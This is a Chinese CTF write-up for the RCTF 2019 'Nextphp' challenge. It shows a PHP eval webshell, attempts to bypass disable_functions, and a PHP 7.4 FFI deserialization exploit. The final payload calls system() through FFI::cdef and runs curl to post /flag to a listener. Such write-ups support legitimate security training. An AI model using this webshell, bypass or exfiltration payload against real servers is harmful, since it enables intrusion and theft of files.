zoukankan      html  css  js  c++  java
  • 刷题[RCTF 2019]Nextphp

    前置知识

    一些关于php7.4版本需知:

    1.FFI扩展:ffi.cdef

    其中还有这样一段话

    如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码

    2.Serializable接口

    在待会的代码审计中你会接触到Serializable接口。

    如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。

    !!!!上述非常重要,请深刻理解!!!!

    这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__Unserialize()删除

    PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用 __destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。

    解题思路

    打开发现,???,这么简单嘛,直接一句话写shell

    file_put_contents('1.php','<?php eval($_POST["pass"]);?>');

    蚁剑连接,???,就这?

    好吧,只有当前目录的权限,看preload.php,看着是反序列化了

    我懒,不想看序列化,不过感觉是都被禁了,没啥用

    bypass_diasble_function

    1.LD_PRELOAD

    mail,putenv,error_log全被禁了,打扰了

    2.**Apache Mod CGI **

    没开,打扰了

    3.FFI
    (关于ffi在我此前的博文中有介绍,这里就不再详细说了)

    核心思想:
    实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
    即先声明后调用

    正好版本是php7.4,也就只有这个了

    我一开始发现可以直接写文件,为啥不直接写呢。直接把preload.php中的内容给删除了,直接写

    网页的内容是 karsa("system('cat /flag')");

    好像并没有成功执行,我本地最高只有7.2的php版本,不能本地测试了。查一波手册

    默认情况下,FFI API只能在CLI脚本和预加载的PHP文件中使用。

    又看到mochazz师傅说的

    在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

    看来是无法在web端利用了

    代码审计

    <?php
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'print_r',
            'arg' => '1'
        ];
    
        private function run () {
            $this->data['ret'] = $this->data['func']($this->data['arg']);
        }
    
        public function __serialize(): array {
            return $this->data;
        }
    
        public function __unserialize(array $data) {
            array_merge($this->data, $data);
            $this->run();
        }
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __get ($key) {
            return $this->data[$key];
        }
    
        public function __set ($key, $value) {
            throw new Exception('No implemented');
        }
    
        public function __construct () {
            throw new Exception('No implemented');
        }
    }
    

    本程序中并没有用户传参,还是需要从index.php中传参进去,反序列化。所以去掉多余的函数,编写exp

    本来想只留三个属性的,发现无法序列化,缺少方法,serialize和unserialize补上

    然后就是前置知识说到的,需要删掉__serialize和__unserialize,因为php7.4新特性它会优先触发这两个函数,而看这两个函数可知其实现的方法并不是正确的

    编写exp

    <?php
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',                          
            'arg' => 'int system(const char *command);'     //声明
        ];
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
        }
    }
    
    $a = new A();
    $b = serialize($a);
    echo $b;
    

    本地编写exp,输出结果
    序列化结果:C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

    上述代码实现声明
    FFI::cdef("int system(const char *command);")

    所以现在只需调用即可,通过设置__serialize()['ret']的值获取flag

    __serialize()['ret']->system('curl -d @/flag linux靶机的ip')

    完整paylaod:
    ?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag linux靶机ip:8888');

    传参后完整过程:
    1.unserialize
    把payload传给data参数,即覆盖原参数

    protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(const char *command);'
        ];
    

    2.run
    ret=FFI::cdef('int system(const char *command);')

    3.__serialize()
    指定的ret内容即是最终的执行命令,通过最后的return调用,返回flag。这里无回显,但是打过去没报错,应该是没问题了。这里需要监听

    buu题目只能访问内网!!!!!,这里被坑到死,一开始忘了,然后问了wh1sper师傅,内网也不是很懂,把这一块稍微搞明白了。

    xshell连接linux靶机,查询linux靶机ip地址后,放在上面的payload中,监听

    总结思路

    核心思路:

    • 连接后门,获取preload.php内容
    • 代码审计,通过反序列化,逃逸禁用函数,通过php7.4新特性代码执行
    • 监听内网,获取flag

    php新特性很重要,没有就完成不了题目

    知识点

    • 反序列化
    • 代码审计
    • 代码执行
    • 内网监听
  • 相关阅读:
    JavaWeb—监听器
    JavaWeb-权限管理思路分析
    JavaWeb_检查用户是否登录的过滤器
    JavaWeb——字符编码过滤器
    JavaWeb_禁用浏览器缓存的过滤器
    JavaWeb-配置Filter的dispatcher节点
    JavaWeb_创建HttpFilter
    Filter练习一
    JavaWeb_Filter(过滤器)
    homestead 重复出错
  • 原文地址:https://www.cnblogs.com/karsa/p/13393034.html
Copyright © 2011-2022 走看看